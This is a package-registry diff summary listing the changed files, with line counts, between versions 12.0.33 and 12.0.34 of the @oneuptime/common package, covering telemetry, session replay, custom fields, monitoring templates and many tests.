@oneuptime/common 12.0.33 → 12.0.34

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (652) hide show
  1. package/Models/AnalyticsModels/RumSession.ts +117 -1
  2. package/Models/AnalyticsModels/RumSessionChunk.ts +13 -0
  3. package/Models/DatabaseModels/AlertCustomField.ts +77 -3
  4. package/Models/DatabaseModels/ApiKeyPermission.ts +3 -27
  5. package/Models/DatabaseModels/IncidentCustomField.ts +77 -3
  6. package/Models/DatabaseModels/InventoryItemCustomField.ts +77 -3
  7. package/Models/DatabaseModels/MonitorCustomField.ts +77 -3
  8. package/Models/DatabaseModels/OnCallDutyPolicyCustomField.ts +77 -3
  9. package/Models/DatabaseModels/RumApplication.ts +6 -6
  10. package/Models/DatabaseModels/ScheduledMaintenanceCustomField.ts +77 -3
  11. package/Models/DatabaseModels/StatusPageCustomField.ts +77 -3
  12. package/Models/DatabaseModels/TeamCustomField.ts +77 -3
  13. package/Models/DatabaseModels/TeamMember.ts +0 -9
  14. package/Models/DatabaseModels/TeamMemberCustomField.ts +77 -3
  15. package/Models/DatabaseModels/TeamPermission.ts +3 -24
  16. package/Models/DatabaseModels/TelemetryIngestionKey.ts +260 -0
  17. package/Models/DatabaseModels/UserTelegram.ts +0 -4
  18. package/Scripts/benchmark-fanin-capacity.js +181 -0
  19. package/Server/API/TelemetryAPI.ts +1284 -164
  20. package/Server/API/UserNotificationSettingAPI.ts +55 -0
  21. package/Server/API/UserTelegramAPI.ts +48 -4
  22. package/Server/EnvironmentConfig.ts +35 -2
  23. package/Server/Infrastructure/Postgres/SchemaMigrations/1791300000000-AddTelemetryIngestionKeyType.ts +91 -0
  24. package/Server/Infrastructure/Postgres/SchemaMigrations/1791400000000-SessionReplayRecordEverySessionByDefault.ts +67 -0
  25. package/Server/Infrastructure/Postgres/SchemaMigrations/1791500000000-WidenCustomFieldDropdownOptions.ts +139 -0
  26. package/Server/Infrastructure/Postgres/SchemaMigrations/1791600000000-AddCustomFieldValueMapping.ts +121 -0
  27. package/Server/Infrastructure/Postgres/SchemaMigrations/Index.ts +8 -0
  28. package/Server/Infrastructure/QueueWorker.ts +20 -14
  29. package/Server/Infrastructure/Semaphore.ts +2 -0
  30. package/Server/Middleware/TelemetryIngest.ts +453 -7
  31. package/Server/Services/AccessTokenService.ts +1 -0
  32. package/Server/Services/AlertCustomFieldService.ts +98 -0
  33. package/Server/Services/AlertService.ts +37 -0
  34. package/Server/Services/ApiKeyPermissionService.ts +461 -29
  35. package/Server/Services/CustomFieldMappingService.ts +879 -0
  36. package/Server/Services/GlobalConfigService.ts +194 -0
  37. package/Server/Services/IncidentCustomFieldService.ts +98 -0
  38. package/Server/Services/IncidentService.ts +35 -0
  39. package/Server/Services/MetricService.ts +194 -0
  40. package/Server/Services/MonitorService.ts +32 -0
  41. package/Server/Services/NetworkDeviceAutoImportRuleEngineService.ts +78 -25
  42. package/Server/Services/ProjectService.ts +22 -0
  43. package/Server/Services/RoutineEmailSettingsService.ts +73 -0
  44. package/Server/Services/RumSessionReplayViewService.ts +104 -24
  45. package/Server/Services/ScheduledMaintenanceCustomFieldService.ts +98 -0
  46. package/Server/Services/ScheduledMaintenanceService.ts +32 -0
  47. package/Server/Services/TeamMemberService.ts +78 -0
  48. package/Server/Services/TeamPermissionService.ts +235 -3
  49. package/Server/Services/TelemetryIngestionKeyService.ts +722 -19
  50. package/Server/Services/UserNotificationSettingService.ts +34 -6
  51. package/Server/Services/UserTelegramService.ts +326 -5
  52. package/Server/Types/Database/QueryHelper.ts +2 -0
  53. package/Server/Utils/APIKey/AccessPermission.ts +5 -2
  54. package/Server/Utils/CustomField/CustomFieldDefinitionMappingHooks.ts +54 -0
  55. package/Server/Utils/CustomField/CustomFieldMappingRegistry.ts +415 -0
  56. package/Server/Utils/CustomField/CustomFieldMappingValidator.ts +335 -0
  57. package/Server/Utils/DataSource/EgressGuard.ts +177 -8
  58. package/Server/Utils/EmailRollup/EmailRollupConstants.ts +38 -5
  59. package/Server/Utils/EmailRollup/EmailRollupFlushRunner.ts +57 -4
  60. package/Server/Utils/FrontendEnvironment.ts +40 -0
  61. package/Server/Utils/LogRedaction.ts +20 -0
  62. package/Server/Utils/Logger.ts +11 -0
  63. package/Server/Utils/Monitor/Criteria/CompareCriteria.ts +338 -77
  64. package/Server/Utils/Monitor/Criteria/IncomingRequestCriteria.ts +30 -4
  65. package/Server/Utils/Monitor/MonitorAlert.ts +29 -6
  66. package/Server/Utils/Monitor/MonitorCriteriaEvaluator.ts +110 -15
  67. package/Server/Utils/Monitor/MonitorIncident.ts +22 -6
  68. package/Server/Utils/Monitor/MonitorTemplateUtil.ts +29 -0
  69. package/Server/Utils/Monitor/SeriesContextEnricher.ts +304 -0
  70. package/Server/Utils/SSRFProtection.ts +217 -10
  71. package/Server/Utils/SessionReplay/SessionReplayGateCache.ts +239 -138
  72. package/Server/Utils/SessionReplay/SessionReplayHealthCounters.ts +305 -0
  73. package/Server/Utils/SessionReplay/SessionReplayReadService.ts +1430 -289
  74. package/Server/Utils/StartServer.ts +2 -17
  75. package/Server/Utils/TelegramVerificationToken.ts +185 -0
  76. package/Server/Utils/Telemetry/PinServiceName.ts +197 -0
  77. package/Server/Utils/Telemetry/TelemetryFanInWriter.ts +38 -16
  78. package/Server/Utils/Telemetry/TelemetryIngestionKeyGuard.ts +92 -0
  79. package/Server/Utils/Telemetry/TelemetryIngestionKeyRateLimiter.ts +217 -0
  80. package/Server/Utils/VM/VMAPI.ts +1 -0
  81. package/Server/Utils/VM/VMRunner.ts +975 -95
  82. package/Tests/App/AdminDashboard/AdminHeaderSmallScreens.test.tsx +202 -0
  83. package/Tests/App/Dashboard/DashboardHeaderSmallScreens.test.tsx +404 -0
  84. package/Tests/App/Dashboard/DiscoveryScanWizardValidation.test.tsx +468 -0
  85. package/Tests/App/Dashboard/NotificationEmailPreferences.test.tsx +399 -0
  86. package/Tests/App/StatusPage/StatusPageLastUpdated.test.tsx +263 -0
  87. package/Tests/App/StatusPage/StatusPageOverviewLiveAndSearch.test.tsx +753 -0
  88. package/Tests/App/StatusPage/StatusPageResourceSearchBox.test.tsx +224 -0
  89. package/Tests/Models/AnalyticsModels/RumSessionReplayColumns.test.ts +262 -0
  90. package/Tests/Models/CustomFieldMappingColumns.test.ts +166 -0
  91. package/Tests/Models/DatabaseModels/SessionReplayModels.test.ts +20 -6
  92. package/Tests/ResponsiveVisibility.test.ts +115 -0
  93. package/Tests/ResponsiveVisibility.ts +183 -0
  94. package/Tests/Server/API/SessionReplayAPI.test.ts +1940 -216
  95. package/Tests/Server/API/UserNotificationSettingAPI.test.ts +186 -0
  96. package/Tests/Server/API/UserTelegramAPISecurity.test.ts +231 -0
  97. package/Tests/Server/EnvironmentConfigFrontendSecurity.test.ts +234 -0
  98. package/Tests/Server/Infrastructure/Postgres/CustomFieldValueMappingMigration.test.ts +202 -0
  99. package/Tests/Server/Infrastructure/Postgres/InventoryItemArchiveMigration.test.ts +41 -0
  100. package/Tests/Server/Infrastructure/Postgres/SessionReplayRecordEverySessionByDefaultMigration.test.ts +169 -0
  101. package/Tests/Server/Infrastructure/QueueWorkerTimeout.test.ts +210 -0
  102. package/Tests/Server/Infrastructure/TelemetryExporterDeploymentConfig.test.ts +130 -0
  103. package/Tests/Server/Middleware/ProjectAuthorizationApiKeyMiddleware.test.ts +4 -1
  104. package/Tests/Server/Middleware/TelemetryIngestBrowserKey.test.ts +1163 -0
  105. package/Tests/Server/Middleware/TelemetryIngestTokenLog.test.ts +5 -3
  106. package/Tests/Server/Services/AddTelemetryIngestionKeyTypeMigration.test.ts +555 -0
  107. package/Tests/Server/Services/ApiKeyPermissionSecurity.test.ts +678 -0
  108. package/Tests/Server/Services/ApiKeyPermissionService.test.ts +276 -28
  109. package/Tests/Server/Services/CustomFieldDropdownOptionsColumnWidth.test.ts +431 -0
  110. package/Tests/Server/Services/CustomFieldMappingService.test.ts +850 -0
  111. package/Tests/Server/Services/DiscoveryScanClaimHookFreeSafety.test.ts +32 -0
  112. package/Tests/Server/Services/GlobalConfigService.test.ts +414 -1
  113. package/Tests/Server/Services/MetricRawEntityKeyPrune.test.ts +592 -0
  114. package/Tests/Server/Services/NetworkDeviceAutoImportRuleEngineService.test.ts +226 -1
  115. package/Tests/Server/Services/RoutineEmailSettingsPostgres.test.ts +329 -0
  116. package/Tests/Server/Services/RumSessionReplayViewService.test.ts +267 -0
  117. package/Tests/Server/Services/TeamMemberAutoAcceptInvitation.test.ts +9 -0
  118. package/Tests/Server/Services/TeamMemberInviteRegistrationToken.test.ts +9 -0
  119. package/Tests/Server/Services/TeamPrivilegeEscalation.test.ts +834 -0
  120. package/Tests/Server/Services/TelemetryIngestionKeyPolicyResolution.test.ts +814 -0
  121. package/Tests/Server/Services/TelemetryIngestionKeyValidation.test.ts +998 -0
  122. package/Tests/Server/Services/UserNotificationSettingRollupRouting.test.ts +141 -0
  123. package/Tests/Server/Services/UserNotificationSettingWorkspaceChannels.test.ts +18 -10
  124. package/Tests/Server/Services/UserTelegramVerificationSecurity.test.ts +688 -0
  125. package/Tests/Server/Utils/AI/SRE/Insights/FixRouting.test.ts +497 -0
  126. package/Tests/Server/Utils/AI/Toolbox/Serializer.test.ts +383 -0
  127. package/Tests/Server/Utils/APIKey/AccessPermission.test.ts +7 -3
  128. package/Tests/Server/Utils/AnalyticsDatabase/ClusterConfig.test.ts +315 -0
  129. package/Tests/Server/Utils/CustomField/CustomFieldMappingValidator.test.ts +437 -0
  130. package/Tests/Server/Utils/DataSource/EgressGuard.test.ts +300 -11
  131. package/Tests/Server/Utils/EmailRollup/EmailRollupBurstWindow.test.ts +83 -0
  132. package/Tests/Server/Utils/EmailRollup/EmailRollupFlushRunnerBehaviour.test.ts +1 -1
  133. package/Tests/Server/Utils/EmailRollup/EmailRollupFlushRunnerPreferences.test.ts +362 -0
  134. package/Tests/Server/Utils/EmailRollup/EmailRollupTestHarness.ts +77 -1
  135. package/Tests/Server/Utils/FrontendEnvironment.test.ts +190 -0
  136. package/Tests/Server/Utils/LogRedaction.test.ts +26 -0
  137. package/Tests/Server/Utils/LoggerCredentialLeak.test.ts +23 -9
  138. package/Tests/Server/Utils/Monitor/Criteria/CompareCriteriaAggregation.test.ts +584 -0
  139. package/Tests/Server/Utils/Monitor/Criteria/IncomingRequestHeaderCriteria.test.ts +236 -0
  140. package/Tests/Server/Utils/Monitor/MonitorCriteriaEvaluator.test.ts +437 -0
  141. package/Tests/Server/Utils/Monitor/MonitorTemplateUtilSeriesContext.test.ts +176 -0
  142. package/Tests/Server/Utils/Monitor/SeriesContextEnricher.test.ts +356 -0
  143. package/Tests/Server/Utils/SSRFProtectionCloudServiceAddresses.test.ts +595 -0
  144. package/Tests/Server/Utils/SessionReplay/SessionReplayGateCachePolicy.test.ts +198 -1
  145. package/Tests/Server/Utils/SessionReplay/SessionReplayHealthCounters.test.ts +453 -0
  146. package/Tests/Server/Utils/SessionReplay/SessionReplayReadServiceQueries.test.ts +1378 -0
  147. package/Tests/Server/Utils/SessionReplayOriginAllowListRefactor.test.ts +420 -0
  148. package/Tests/Server/Utils/TelegramVerificationToken.test.ts +253 -0
  149. package/Tests/Server/Utils/Telemetry/PinServiceName.test.ts +666 -0
  150. package/Tests/Server/Utils/Telemetry/TelemetryFanInWriterCapacity.test.ts +458 -0
  151. package/Tests/Server/Utils/Telemetry/TelemetryIngestionKeyGuard.test.ts +424 -0
  152. package/Tests/Server/Utils/Telemetry/TelemetryIngestionKeyRateLimiter.test.ts +528 -0
  153. package/Tests/Server/Utils/TelemetryExporterEnvironment.test.ts +56 -0
  154. package/Tests/Server/Utils/VM/VMRunnerHostBridgeLatency.test.ts +74 -0
  155. package/Tests/Server/Utils/VM/VMRunnerPrivateNetworkWiring.test.ts +100 -7
  156. package/Tests/Server/Utils/VM/VMRunnerSsrf.test.ts +1176 -6
  157. package/Tests/Types/CustomField/CustomFieldMappingCatalog.test.ts +220 -0
  158. package/Tests/Types/CustomField/CustomFieldValueMapping.test.ts +348 -0
  159. package/Tests/Types/JSONFunctions.test.ts +260 -0
  160. package/Tests/Types/Monitor/CephAlertTemplates.test.ts +422 -53
  161. package/Tests/Types/Monitor/DockerAlertTemplates.test.ts +495 -15
  162. package/Tests/Types/Monitor/DockerSwarmAlertTemplates.test.ts +191 -45
  163. package/Tests/Types/Monitor/HostAlertTemplates.test.ts +370 -42
  164. package/Tests/Types/Monitor/IotAlertTemplates.test.ts +375 -20
  165. package/Tests/Types/Monitor/KubernetesAlertTemplates.test.ts +636 -42
  166. package/Tests/Types/Monitor/KubernetesMetricCatalog.test.ts +189 -0
  167. package/Tests/Types/Monitor/KubernetesTemplateGroupByKeys.test.ts +95 -14
  168. package/Tests/Types/Monitor/PodmanAlertTemplates.test.ts +190 -21
  169. package/Tests/Types/Monitor/ProxmoxAlertTemplates.test.ts +352 -22
  170. package/Tests/Types/Monitor/Recommendation/MonitorRecommendationAlertDebuggability.test.ts +363 -0
  171. package/Tests/Types/Monitor/Recommendation/MonitorRecommendationNotificationMode.test.ts +93 -18
  172. package/Tests/Types/Monitor/Recommendation/MonitorRecommendationSeverityMapper.test.ts +259 -0
  173. package/Tests/Types/Monitor/Recommendation/RecommendationCriteriaBuilder.test.ts +476 -0
  174. package/Tests/Types/Monitor/RumAlertTemplates.test.ts +136 -0
  175. package/Tests/Types/Monitor/SeriesContext/SeriesDebugHints.test.ts +661 -0
  176. package/Tests/Types/Monitor/SeriesContext/SeriesLabelDisplay.test.ts +507 -0
  177. package/Tests/Types/Monitor/ServiceAlertTemplates.test.ts +270 -0
  178. package/Tests/Types/Monitor/TemplateGroupByKeys.test.ts +38 -10
  179. package/Tests/Types/Monitor/Utils/RecommendationCriteriaAssertions.ts +102 -0
  180. package/Tests/Types/NotificationSetting/RoutineEmailEvents.test.ts +47 -0
  181. package/Tests/Types/Rum/SessionReplayApiContracts.test.ts +608 -0
  182. package/Tests/Types/Rum/SessionReplayCustomEvents.test.ts +434 -0
  183. package/Tests/Types/WebsiteRequest.test.ts +285 -3
  184. package/Tests/UI/Components/Charts/ChartBucketIdentity.test.ts +16 -3
  185. package/Tests/UI/Components/Charts/ChartTrailingBucketGap.test.ts +691 -0
  186. package/Tests/UI/Components/ComponentsModal.test.tsx +12 -4
  187. package/Tests/UI/Components/ComponentsModalUsability.test.tsx +518 -0
  188. package/Tests/UI/Components/CustomFields/CustomFieldsDetailMapping.test.tsx +324 -0
  189. package/Tests/UI/Components/CustomFields/MapFromCustomFieldInput.test.tsx +176 -0
  190. package/Tests/UI/Components/Graphs/DayUptimeGraph.test.tsx +484 -0
  191. package/Tests/UI/Components/HeaderRightRail.test.tsx +157 -0
  192. package/Tests/UI/Components/IconDropdownItem.test.tsx +102 -0
  193. package/Tests/UI/Components/JSONTablePrototypePollution.test.tsx +117 -0
  194. package/Tests/UI/Components/KeyboardShortcutsModal.test.tsx +214 -0
  195. package/Tests/UI/Components/ModelTable/ModelTableWrapContent.test.tsx +561 -0
  196. package/Tests/UI/Components/MonitorGraphs/UptimeBarDayModal.test.tsx +302 -0
  197. package/Tests/UI/Components/MonitorTemplateVariables/TemplateVariablesCatalog.test.ts +28 -12
  198. package/Tests/UI/Components/ShortcutDialogGuard.test.tsx +74 -0
  199. package/Tests/UI/Components/StatusPage/ResourceGroupSectionAutoExpand.test.tsx +248 -0
  200. package/Tests/UI/Components/TableCellWrapping.test.tsx +625 -0
  201. package/Tests/UI/Components/TableLoadingStates.test.tsx +205 -0
  202. package/Tests/UI/Components/Workflow/NodePlacement.test.ts +148 -0
  203. package/Tests/UI/Components/Workflow/Workflow.test.tsx +981 -0
  204. package/Tests/UI/ConfigBrowserTelemetry.test.ts +70 -0
  205. package/Tests/UI/Rum/ChunkLoader.test.ts +1036 -2
  206. package/Tests/UI/Rum/FidelityNotices.test.ts +187 -0
  207. package/Tests/UI/Rum/InactivityMap.test.ts +341 -0
  208. package/Tests/UI/Rum/PrivacySummaryCard.test.tsx +259 -0
  209. package/Tests/UI/Rum/RecordingHealthCard.test.tsx +855 -0
  210. package/Tests/UI/Rum/RecordingHealthStrip.test.tsx +594 -0
  211. package/Tests/UI/Rum/ReplayCard.test.tsx +451 -0
  212. package/Tests/UI/Rum/ReplayCorrelationPanel.test.tsx +536 -0
  213. package/Tests/UI/Rum/ReplayEngine.test.ts +2503 -0
  214. package/Tests/UI/Rum/ReplayEngineTypes.test.ts +171 -0
  215. package/Tests/UI/Rum/ReplayHeader.test.tsx +711 -0
  216. package/Tests/UI/Rum/ReplayLink.test.tsx +119 -0
  217. package/Tests/UI/Rum/ReplayPinControl.test.tsx +408 -0
  218. package/Tests/UI/Rum/ReplayPlaybackIntent.test.ts +152 -0
  219. package/Tests/UI/Rum/ReplayRail.test.tsx +1296 -0
  220. package/Tests/UI/Rum/ReplayRailDetail.test.tsx +900 -0
  221. package/Tests/UI/Rum/ReplayScrubber.test.tsx +763 -147
  222. package/Tests/UI/Rum/ReplaySignalTypes.test.ts +189 -0
  223. package/Tests/UI/Rum/ReplaySignals.test.ts +1579 -0
  224. package/Tests/UI/Rum/ReplayStage.test.tsx +396 -473
  225. package/Tests/UI/Rum/ReplayStageOverlays.test.tsx +918 -0
  226. package/Tests/UI/Rum/ReplayTimeline.test.tsx +696 -0
  227. package/Tests/UI/Rum/SessionReplayEmptyState.test.tsx +499 -0
  228. package/Tests/UI/Rum/SessionReplaySearchBar.test.tsx +346 -0
  229. package/Tests/UI/Rum/SessionReplaySetupGuide.test.tsx +545 -0
  230. package/Tests/UI/Rum/SessionReplayTable.test.tsx +991 -0
  231. package/Tests/UI/Rum/TargetedCapturePanel.test.tsx +254 -0
  232. package/Tests/UI/Telemetry/BrowserExporterIsolation.test.ts +71 -0
  233. package/Tests/UI/Utils/GlobalKeyboardShortcut.test.ts +344 -0
  234. package/Tests/Utils/API.test.ts +308 -0
  235. package/Tests/Utils/HTTPResponseBodyReader.test.ts +323 -0
  236. package/Tests/Utils/NetworkDiscovery/DiscoveryScanStatus.test.ts +117 -0
  237. package/Tests/Utils/Rum/ChunkMath.test.ts +83 -0
  238. package/Tests/Utils/Rum/SessionReplayHealthDiagnosis.test.ts +993 -0
  239. package/Tests/Utils/Rum/SessionReplayStringMap.test.ts +245 -0
  240. package/Tests/Utils/StatusPage/ResourceSearch.test.ts +631 -0
  241. package/Tests/Utils/Telemetry/OriginAllowList.test.ts +633 -0
  242. package/Tests/Utils/Uptime/DayUptimeGraphUtil.test.ts +461 -0
  243. package/Tests/Utils/ValueFormatter.test.ts +148 -0
  244. package/Types/CustomField/CustomFieldMappingCatalog.ts +161 -0
  245. package/Types/CustomField/CustomFieldMappingSourceResource.ts +19 -0
  246. package/Types/CustomField/CustomFieldValueMapping.ts +288 -0
  247. package/Types/Icon/IconProp.ts +1 -0
  248. package/Types/JSONFunctions.ts +189 -43
  249. package/Types/Monitor/CephAlertTemplates.ts +157 -195
  250. package/Types/Monitor/DockerAlertTemplates.ts +338 -128
  251. package/Types/Monitor/DockerSwarmAlertTemplates.ts +95 -112
  252. package/Types/Monitor/HostAlertTemplates.ts +302 -130
  253. package/Types/Monitor/IotAlertTemplates.ts +112 -104
  254. package/Types/Monitor/KubernetesAlertTemplates.ts +415 -224
  255. package/Types/Monitor/KubernetesMetricCatalog.ts +23 -19
  256. package/Types/Monitor/PodmanAlertTemplates.ts +116 -163
  257. package/Types/Monitor/ProxmoxAlertTemplates.ts +217 -99
  258. package/Types/Monitor/Recommendation/MonitorRecommendationSeverityMapper.ts +98 -6
  259. package/Types/Monitor/Recommendation/MonitorRecommendationUtil.ts +44 -7
  260. package/Types/Monitor/Recommendation/RecommendationCriteriaBuilder.ts +383 -0
  261. package/Types/Monitor/RumAlertTemplates.ts +46 -7
  262. package/Types/Monitor/SeriesContext/SeriesDebugHints.ts +596 -0
  263. package/Types/Monitor/SeriesContext/SeriesLabelDisplay.ts +554 -0
  264. package/Types/Monitor/ServiceAlertTemplates.ts +98 -11
  265. package/Types/Monitor/UptimeHistoryLabels.ts +56 -0
  266. package/Types/NotificationSetting/RoutineEmailEvents.ts +30 -0
  267. package/Types/Rum/SessionReplay.ts +209 -0
  268. package/Types/Rum/SessionReplayApi.ts +722 -0
  269. package/Types/Rum/SessionReplayCaptureTrigger.ts +21 -12
  270. package/Types/Rum/SessionReplayConsentMode.ts +11 -7
  271. package/Types/Rum/SessionReplayCustomEvents.ts +549 -0
  272. package/Types/Rum/SessionReplayHealth.ts +238 -0
  273. package/Types/Telemetry/TelemetryIngestSurface.ts +95 -0
  274. package/Types/Telemetry/TelemetryIngestionKeyPolicy.ts +75 -0
  275. package/Types/Telemetry/TelemetryIngestionKeyType.ts +29 -0
  276. package/Types/WebsiteRequest.ts +85 -3
  277. package/UI/Components/Charts/Area/AreaChart.tsx +13 -2
  278. package/UI/Components/Charts/Bar/BarChart.tsx +6 -2
  279. package/UI/Components/Charts/Line/LineChart.tsx +13 -2
  280. package/UI/Components/Charts/Types/XAxis/XAxis.ts +29 -0
  281. package/UI/Components/Charts/Utils/DataPoint.ts +22 -3
  282. package/UI/Components/Charts/Utils/TimeAnnotation.ts +76 -9
  283. package/UI/Components/Charts/Utils/XAxis.ts +217 -0
  284. package/UI/Components/CustomFields/CustomFieldsDetail.tsx +143 -25
  285. package/UI/Components/CustomFields/MapFromCustomFieldInput.tsx +216 -0
  286. package/UI/Components/Graphs/DayUptimeGraph.tsx +173 -8
  287. package/UI/Components/Graphs/UptimeBarTooltip.tsx +22 -278
  288. package/UI/Components/Graphs/UptimeDaySummary.tsx +327 -0
  289. package/UI/Components/Header/Header.tsx +25 -9
  290. package/UI/Components/Header/IconDropdown/IconDropdownItem.tsx +10 -1
  291. package/UI/Components/Header/IconDropdown/IconDropdownMenu.tsx +6 -1
  292. package/UI/Components/Header/ProjectPicker/ProjectPicker.tsx +6 -1
  293. package/UI/Components/HeaderAlert/NotificationBell/NotificationBellDropdown.tsx +6 -1
  294. package/UI/Components/Icon/Icon.tsx +11 -0
  295. package/UI/Components/JSONTable/JSONTable.tsx +2 -2
  296. package/UI/Components/KeyboardShortcut/KeyboardShortcutsModal.tsx +125 -0
  297. package/UI/Components/KeyboardShortcut/Screenshots/README.md +19 -0
  298. package/UI/Components/KeyboardShortcut/Screenshots/keyboard-shortcuts-command-palette.png +0 -0
  299. package/UI/Components/KeyboardShortcut/Screenshots/keyboard-shortcuts-dialog-dark.png +0 -0
  300. package/UI/Components/KeyboardShortcut/Screenshots/keyboard-shortcuts-dialog.png +0 -0
  301. package/UI/Components/KeyboardShortcut/Screenshots/keyboard-shortcuts-help-menu.png +0 -0
  302. package/UI/Components/KeyboardShortcut/Screenshots/keyboard-shortcuts-narrow.png +0 -0
  303. package/UI/Components/ModelTable/Column.ts +15 -0
  304. package/UI/Components/Monitor/SeriesDebugCommandsViewer.tsx +64 -0
  305. package/UI/Components/Monitor/SeriesLabelsViewer.tsx +93 -0
  306. package/UI/Components/MonitorGraphs/Uptime.tsx +14 -2
  307. package/UI/Components/MonitorGraphs/UptimeBarDayModal.tsx +63 -10
  308. package/UI/Components/MonitorTemplateVariables/TemplateVariablesCatalog.ts +44 -0
  309. package/UI/Components/StatusPage/ResourceGroupSection.tsx +40 -0
  310. package/UI/Components/Table/CellClassName.ts +81 -0
  311. package/UI/Components/Table/TableRow.tsx +20 -14
  312. package/UI/Components/Table/TableSkeletonRows.tsx +9 -9
  313. package/UI/Components/Table/Types/Column.ts +36 -0
  314. package/UI/Components/Tooltip/Tooltip.tsx +11 -1
  315. package/UI/Components/Workflow/ComponentsModal.tsx +60 -39
  316. package/UI/Components/Workflow/NodePlacement.ts +57 -0
  317. package/UI/Components/Workflow/Workflow.tsx +47 -18
  318. package/UI/Config.ts +15 -33
  319. package/UI/Utils/GlobalKeyboardShortcut.ts +208 -0
  320. package/UI/Utils/Telemetry/BrowserTelemetryConfig.ts +28 -0
  321. package/UI/Utils/Telemetry/Telemetry.ts +10 -8
  322. package/Utils/API.ts +129 -3
  323. package/Utils/HTTPResponseBodyReader.ts +221 -0
  324. package/Utils/NetworkDiscovery/DiscoveryScanStatus.ts +77 -0
  325. package/Utils/Rum/ChunkMath.ts +106 -0
  326. package/Utils/Rum/SessionReplayHealth.ts +732 -0
  327. package/Utils/Rum/SessionReplayStringMap.ts +226 -0
  328. package/Utils/Schema/ModelSchema.ts +1 -0
  329. package/Utils/StatusPage/ResourceSearch.ts +290 -0
  330. package/Utils/Telemetry/OriginAllowList.ts +355 -0
  331. package/Utils/Uptime/DayUptimeGraphUtil.ts +205 -0
  332. package/Utils/ValueFormatter.ts +35 -1
  333. package/build/dist/Models/AnalyticsModels/RumSession.js +102 -19
  334. package/build/dist/Models/AnalyticsModels/RumSession.js.map +1 -1
  335. package/build/dist/Models/AnalyticsModels/RumSessionChunk.js +11 -9
  336. package/build/dist/Models/AnalyticsModels/RumSessionChunk.js.map +1 -1
  337. package/build/dist/Models/DatabaseModels/AlertCustomField.js +79 -3
  338. package/build/dist/Models/DatabaseModels/AlertCustomField.js.map +1 -1
  339. package/build/dist/Models/DatabaseModels/ApiKeyPermission.js +3 -27
  340. package/build/dist/Models/DatabaseModels/ApiKeyPermission.js.map +1 -1
  341. package/build/dist/Models/DatabaseModels/IncidentCustomField.js +79 -3
  342. package/build/dist/Models/DatabaseModels/IncidentCustomField.js.map +1 -1
  343. package/build/dist/Models/DatabaseModels/InventoryItemCustomField.js +79 -3
  344. package/build/dist/Models/DatabaseModels/InventoryItemCustomField.js.map +1 -1
  345. package/build/dist/Models/DatabaseModels/MonitorCustomField.js +79 -3
  346. package/build/dist/Models/DatabaseModels/MonitorCustomField.js.map +1 -1
  347. package/build/dist/Models/DatabaseModels/OnCallDutyPolicyCustomField.js +79 -3
  348. package/build/dist/Models/DatabaseModels/OnCallDutyPolicyCustomField.js.map +1 -1
  349. package/build/dist/Models/DatabaseModels/RumApplication.js +6 -6
  350. package/build/dist/Models/DatabaseModels/RumApplication.js.map +1 -1
  351. package/build/dist/Models/DatabaseModels/ScheduledMaintenanceCustomField.js +79 -3
  352. package/build/dist/Models/DatabaseModels/ScheduledMaintenanceCustomField.js.map +1 -1
  353. package/build/dist/Models/DatabaseModels/StatusPageCustomField.js +79 -3
  354. package/build/dist/Models/DatabaseModels/StatusPageCustomField.js.map +1 -1
  355. package/build/dist/Models/DatabaseModels/TeamCustomField.js +79 -3
  356. package/build/dist/Models/DatabaseModels/TeamCustomField.js.map +1 -1
  357. package/build/dist/Models/DatabaseModels/TeamMember.js +0 -9
  358. package/build/dist/Models/DatabaseModels/TeamMember.js.map +1 -1
  359. package/build/dist/Models/DatabaseModels/TeamMemberCustomField.js +79 -3
  360. package/build/dist/Models/DatabaseModels/TeamMemberCustomField.js.map +1 -1
  361. package/build/dist/Models/DatabaseModels/TeamPermission.js +3 -24
  362. package/build/dist/Models/DatabaseModels/TeamPermission.js.map +1 -1
  363. package/build/dist/Models/DatabaseModels/TelemetryIngestionKey.js +267 -0
  364. package/build/dist/Models/DatabaseModels/TelemetryIngestionKey.js.map +1 -1
  365. package/build/dist/Models/DatabaseModels/UserTelegram.js +0 -4
  366. package/build/dist/Models/DatabaseModels/UserTelegram.js.map +1 -1
  367. package/build/dist/Server/API/TelemetryAPI.js +769 -109
  368. package/build/dist/Server/API/TelemetryAPI.js.map +1 -1
  369. package/build/dist/Server/API/UserNotificationSettingAPI.js +35 -0
  370. package/build/dist/Server/API/UserNotificationSettingAPI.js.map +1 -0
  371. package/build/dist/Server/API/UserTelegramAPI.js +28 -6
  372. package/build/dist/Server/API/UserTelegramAPI.js.map +1 -1
  373. package/build/dist/Server/EnvironmentConfig.js +29 -2
  374. package/build/dist/Server/EnvironmentConfig.js.map +1 -1
  375. package/build/dist/Server/Infrastructure/Postgres/SchemaMigrations/1791300000000-AddTelemetryIngestionKeyType.js +60 -0
  376. package/build/dist/Server/Infrastructure/Postgres/SchemaMigrations/1791300000000-AddTelemetryIngestionKeyType.js.map +1 -0
  377. package/build/dist/Server/Infrastructure/Postgres/SchemaMigrations/1791400000000-SessionReplayRecordEverySessionByDefault.js +53 -0
  378. package/build/dist/Server/Infrastructure/Postgres/SchemaMigrations/1791400000000-SessionReplayRecordEverySessionByDefault.js.map +1 -0
  379. package/build/dist/Server/Infrastructure/Postgres/SchemaMigrations/1791500000000-WidenCustomFieldDropdownOptions.js +82 -0
  380. package/build/dist/Server/Infrastructure/Postgres/SchemaMigrations/1791500000000-WidenCustomFieldDropdownOptions.js.map +1 -0
  381. package/build/dist/Server/Infrastructure/Postgres/SchemaMigrations/1791600000000-AddCustomFieldValueMapping.js +46 -0
  382. package/build/dist/Server/Infrastructure/Postgres/SchemaMigrations/1791600000000-AddCustomFieldValueMapping.js.map +1 -0
  383. package/build/dist/Server/Infrastructure/Postgres/SchemaMigrations/Index.js +8 -0
  384. package/build/dist/Server/Infrastructure/Postgres/SchemaMigrations/Index.js.map +1 -1
  385. package/build/dist/Server/Infrastructure/QueueWorker.js +19 -7
  386. package/build/dist/Server/Infrastructure/QueueWorker.js.map +1 -1
  387. package/build/dist/Server/Infrastructure/Semaphore.js +1 -0
  388. package/build/dist/Server/Infrastructure/Semaphore.js.map +1 -1
  389. package/build/dist/Server/Middleware/TelemetryIngest.js +315 -8
  390. package/build/dist/Server/Middleware/TelemetryIngest.js.map +1 -1
  391. package/build/dist/Server/Services/AccessTokenService.js +1 -0
  392. package/build/dist/Server/Services/AccessTokenService.js.map +1 -1
  393. package/build/dist/Server/Services/AlertCustomFieldService.js +93 -0
  394. package/build/dist/Server/Services/AlertCustomFieldService.js.map +1 -1
